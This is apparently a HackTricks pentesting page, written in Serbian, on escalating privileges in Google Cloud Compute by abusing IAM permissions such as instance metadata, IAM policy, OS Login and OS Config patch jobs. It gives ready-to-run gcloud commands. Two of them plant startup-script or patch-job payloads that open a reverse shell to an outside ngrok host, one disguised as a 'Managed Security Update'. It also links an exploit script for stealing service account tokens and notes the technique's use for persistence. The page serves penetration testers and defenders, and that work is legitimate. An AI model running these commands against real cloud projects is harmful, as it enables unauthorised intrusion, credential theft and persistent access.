# GCP - Compute Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Compute

Za više informacija o Compute i VPC (mreži) u GCP, proverite:

{{#ref}}
../../gcp-services/gcp-compute-instances-enum/
{{#endref}}

> [!CAUTION]
> Imajte na umu da je za izvođenje svih napada na eskalaciju privilegija koji zahtevaju modifikaciju metapodataka instance (kao što su dodavanje novih korisnika i SSH ključeva) **potrebno da imate `actAs` dozvole nad SA koji je povezan sa instancom**, čak i ako je SA već povezan!

### `compute.projects.setCommonInstanceMetadata`

Sa tom dozvolom možete **modifikovati** informacije o **metapodacima** **instance** i promeniti **ovlašćene ključeve korisnika**, ili **kreirati** **novog korisnika sa sudo** dozvolama. Stoga, moći ćete da se povežete putem SSH na bilo koju VM instancu i ukradete GCP Service Account sa kojom instanca radi.\
Ograničenja:

- Imajte na umu da GCP Service Accounts koji rade u VM instancama po defaultu imaju **veoma ograničen opseg**
- Moraćete da budete **u mogućnosti da kontaktirate SSH** server da biste se prijavili

Za više informacija o tome kako iskoristiti ovu dozvolu, proverite:

{{#ref}}
gcp-add-custom-ssh-metadata.md
{{#endref}}

Takođe možete izvesti ovaj napad dodavanjem novog startup-skripta i ponovnim pokretanjem instance:
```bash
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance
```
### `compute.instances.setMetadata`

Ova dozvola daje **iste privilegije kao prethodna dozvola** ali za specifične instance umesto za ceo projekat. **Iste eksploatacije i ograničenja kao za prethodni deo se primenjuju**.

### `compute.instances.setIamPolicy`

Ova vrsta dozvole će vam omogućiti da **dodelite sebi ulogu sa prethodnim dozvolama** i eskalirate privilegije zloupotrebljavajući ih. Evo primera dodavanja `roles/compute.admin` na Servisni Nalog:
```bash
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE

cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF

gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
```
### **`compute.instances.osLogin`**

Ako je **OSLogin omogućen na instanci**, sa ovom dozvolom možete jednostavno pokrenuti **`gcloud compute ssh [INSTANCE]`** i povezati se na instancu. Nećete imati root privilegije unutar instance.

> [!TIP]
> Da biste se uspešno prijavili sa ovom dozvolom unutar VM instance, potrebno je da imate dozvolu `iam.serviceAccounts.actAs` nad SA koji je povezan sa VM.

### **`compute.instances.osAdminLogin`**

Ako je **OSLogin omogućen na instanci**, sa ovom dozvolom možete jednostavno pokrenuti **`gcloud compute ssh [INSTANCE]`** i povezati se na instancu. Imaćete **root privilegije** unutar instance.

> [!TIP]
> Da biste se uspešno prijavili sa ovom dozvolom unutar VM instance, potrebno je da imate dozvolu `iam.serviceAccounts.actAs` nad SA koji je povezan sa VM.

### `compute.instances.create`,`iam.serviceAccounts.actAs, compute.disks.create`, `compute.instances.create`, `compute.instances.setMetadata`, `compute.instances.setServiceAccount`, `compute.subnetworks.use`, `compute.subnetworks.useExternalIp`

Moguće je **napraviti virtuelnu mašinu sa dodeljenim Service Account-om i ukrasti token** servisa pristupajući metapodacima kako biste eskalirali privilegije.

Eksploatacijski skript za ovu metodu možete pronaći [ovde](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/compute.instances.create.py).

### `osconfig.patchDeployments.create` | `osconfig.patchJobs.exec`

Ako imate dozvole **`osconfig.patchDeployments.create`** ili **`osconfig.patchJobs.exec`**, možete kreirati [**patch job ili deployment**](https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching). Ovo će vam omogućiti da se lateralno krećete u okruženju i dobijete izvršavanje koda na svim instancama za obradu unutar projekta.

Napomena: u ovom trenutku **ne trebate `actAs` dozvolu** nad SA koji je povezan sa instancom.

Ako želite ručno da iskoristite ovo, biće potrebno da kreirate ili [**patch job**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_job.json) **ili** [**deployment**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_deployment.json)**.**\
Za patch job pokrenite:
```python
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
```
Da biste implementirali ispravku:
```bash
gcloud compute os-config patch-deployments create <name> ...
```
Alat [patchy](https://github.com/rek7/patchy) je mogao biti korišćen u prošlosti za eksploataciju ove pogrešne konfiguracije (ali sada ne radi).

**Napadač takođe može zloupotrebiti ovo za postizanje trajnosti.**

### `compute.machineImages.setIamPolicy`

**Dodelite sebi dodatne dozvole** za compute Image.

### `compute.snapshots.setIamPolicy`

**Dodelite sebi dodatne dozvole** za disk snapshot.

### `compute.disks.setIamPolicy`

**Dodelite sebi dodatne dozvole** za disk.

### Obilaženje pristupnih opsega

Prateći ovaj link, pronaći ćete neke [**ideje za pokušaj obilaženja pristupnih opsega**](../).

### Lokalno eskaliranje privilegija u GCP Compute instanci

{{#ref}}
../gcp-local-privilege-escalation-ssh-pivoting.md
{{#endref}}

## Reference

- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

{{#include ../../../../banners/hacktricks-training.md}}
